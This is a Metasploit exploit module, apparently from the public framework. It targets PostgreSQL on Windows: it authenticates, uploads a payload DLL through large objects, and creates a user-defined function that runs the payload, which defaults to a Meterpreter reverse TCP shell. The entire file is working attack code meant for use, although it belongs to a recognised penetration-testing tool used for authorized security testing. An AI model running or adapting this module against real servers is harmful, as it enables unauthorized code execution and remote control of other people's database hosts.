##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Postgres
  include Msf::Auxiliary::Report
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::OptionalSession::PostgreSQL

  # Creates an instance of this module.
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
        'Description' => %q{
          On default Microsoft Windows installations of PostgreSQL the postgres
          service account may write to the current directory (which is usually
          "C:\Program Files\PostgreSQL\<version>\data" where <version> is the
          major.minor version of PostgreSQL). UDF DLL's may be sourced from
          there as well.

          This module uploads a Windows DLL file via the pg_largeobject method
          of binary injection and creates a UDF (user defined function) from
          that DLL. Because the payload is run from DllMain, it does not need to
          conform to specific Postgres API versions.
        },
        'Author' => [
          'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
          'todb' # this Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
        ],
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows x86',
            {
              'Arch' => ARCH_X86,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows x64',
            {
              'Arch' => ARCH_X64,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-04-10',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      ) # Date of Bernardo's BH Europe paper.
    )

    deregister_options('SQL', 'RETURN_ROWSET')
  end

  def check
    version = postgres_fingerprint

    if version[:auth]
      print_good "Authentication successful. Version: #{version}"
      return CheckCode::Appears("Authenticated successfully; PostgreSQL version: #{version[:auth]}") # WRITE permission needs to be proven to get Vulnerable
    else
      print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
      return CheckCode::Safe('PostgreSQL authentication failed')
    end
  end

  def exploit
    self.postgres_conn = session.client if session
    version = do_login(username, password, database)
    case version
    when :noauth; print_error "Authentication failed"; return
    when :noconn; print_error "Connection failed"; return
    else
      print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")
    end

    fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
    register_files_for_cleanup(fname)

    unless postgres_upload_binary_data(generate_payload_dll, fname)
      print_error "Could not upload the UDF DLL"
      return
    end

    print_status "Uploaded as #{fname}"
    begin
      func_name = Rex::Text.rand_text_alpha(10)
      postgres_query(
        "create or replace function pg_temp.#{func_name}()" +
        " returns void as '#{fname}','#{func_name}'" +
        " language c strict immutable"
      )
    rescue RuntimeError => e
      print_error "Failed to create UDF function: #{e.class}: #{e}"
    end
    postgres_logout if @postgres_conn && session.blank?
  end

  # Authenticate to the postgres server.
  #
  # Returns the version from #postgres_fingerprint
  def do_login(user = nil, pass = nil, database = nil)
    begin
      password = pass || postgres_password
      vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
      result = postgres_fingerprint(
        :db => database,
        :username => user,
        :password => password
      )
      if result[:auth]
        report_service(
          :host => postgres_conn.peerhost,
          :port => postgres_conn.peerport,
          :name => "postgres",
          :info => result.values.first
        )
        return result[:auth]
      else
        print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
        return :noauth
      end
    rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
      return :noconn
    end
  end

end